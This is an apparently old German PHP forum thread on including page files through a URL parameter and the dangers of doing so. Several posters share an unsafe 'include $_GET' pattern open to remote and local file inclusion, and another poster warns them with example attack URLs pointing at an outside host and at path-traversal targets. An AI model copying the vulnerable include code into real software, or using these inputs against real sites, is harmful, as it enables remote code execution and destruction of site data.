• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Files ueber URL inkludieren - Wie? Gefahren?

Status
Für weitere Antworten geschlossen.
dann würd ich aber immmer nur elseif machen ab dem 2. da der user, wennn er mal ne falsche action eingibt auch auf home kommt....
 
Werbung:
*schreispringstöhn* *haareausreiß* *waaaaaaaah*

ok ... *sichwiedersammelt* ich hab den falschen code gepostet :roll:

[php:1:e57dee4b39]
<?
if($_GET[$prefix]=="news") { include("./data/news.php") ; }
elseif($_GET[$prefix]=="shoutarch") { include("./data/shoutbox/shoutbox2.php") ; }
elseif($_GET[$prefix]=="pics") { include("./data/pics.php") ; }
elseif($_GET[$prefix]=="about") { include("./data/home.php") ; }
elseif($_GET[$prefix]=="jugend") { include("./data/jugend.php") ; }
elseif($_GET[$prefix]=="gbook") { include("./data/gbook.php") ; }
elseif($_GET[$prefix]=="disclaimer") { include("./data/disclaimer.php") ; }
elseif($_GET[$prefix]=="impressum") { include("./data/impressum.php"); }
elseif($_GET[$prefix]=="forum") { include("./data/forum.php") ; }
elseif($_GET[$prefix]=="links") { include("./data/links.php") ; }
elseif($_GET[$prefix]=="down") { include("./data/down.php") ; }
elseif($_GET[$prefix]=="banner") { include("./data/banner.php") ; }
else { include("./data/home.php"); }

?>
[/php:1:e57dee4b39]

den den ich oben gepostet hab war aus meiner testumgebung :p total falsch - der hier is richtig ^^
 
Werbung:
ne, echt nicht ...
den code benutz ich schon ewig ;)
wenn du es mir nicht glaubst kann ich dir mal meine index.php schicken ^_^
 
ich habe es auch mal per elseif gemacht aber irgendwann damit aufgehört weil fehler auftauchten...
 
Also ich mach es so.

In der index.php steht

[php:1:20c2c71fb1]
<?php
if (isset($_GET["site"])) include $_GET["site"];
else include "home.php";
?>
[/php:1:20c2c71fb1]

und dann halt bei den links.

index.php?site=kontakt.php

Aber was ist daran jetzt so schlimm. Habe da nicht so ganz gerafft in dem ersten Post.
 
Werbung:
if (isset($_GET["site"])) include $_GET["site"];
else include "home.php";

In deinem script include ist eine funktion also müssen die parameter eingeklammert werden...
 
Werbung:
Copy...

Paste.....



[php:1:d9cd8e1370]
<?php
if (isset($_GET["site"])) include $_GET["site"];
else include "home.php";
?>[/php:1:d9cd8e1370]


So stehts im Code und funktioniert wunderbar. Kann mir grade nicht vorstellen was fehlen soll, aber kannst es ja mal abändern wie du das machen würdest.
 
[php:1:13ba142220]<?php
if (isset($_GET["site"])) include($_GET["site"]);
else include("home.php");
?>[/php:1:13ba142220]

So muss es sein weil include eine funktion ist...
 
Werbung:
Werbung:
Ach, so schlecht ist das nicht. Aber verstehe nicht warum es denn geht wenn es falsch ist.

Aber meine Frage hatte sich ja auch nicht darauf bezogen wie man es richtig schreibt sondern das ich den Post oben nicht ganz gerafft habe.
 
das ist komplizierter als die vorhergehenden ja - und was hast du uns jetzt damit bewiesen?
(ps: ich hab verstanden was du meinst)
ps: frettchen wenn man bei dir folgendes aufruft:
Code:
/?site=http://niklas.underground-irc.net/hacking
ist auf jedenfall schonmal deine Komplette Homepage geloescht.
vieleicht ist auch der gesamte server kaputt (alle dateien auf allen festplatten weg wenn der apache als root laueft) und sehr wahrscheinlich ist er webserver abgestuerzt. jetzt verstanden warum die anderen moeglichkeiten besser sind? ;)
 
Werbung:
man kann es ja ganz einfach machen...
[php:1:e0895d9822]<?php include("./dateien/".$_GET['seite'].".php"); ?>[/php:1:e0895d9822]
--> bei bedarf noch mögl. für ne f404 seite einbauen ;)
 
fätziminator
was ist mit ?
seite=../../../boeseruser/hacking
und schon ist deine webseite geloescht
ist nichtmal unwahrscheinlich wenn man bei nem free anbieter ist die 50000 benutzer auf einem server haben ;)
oder noch lustiger
?seite=../index
;)
 
Status
Für weitere Antworten geschlossen.
Zurück
Oben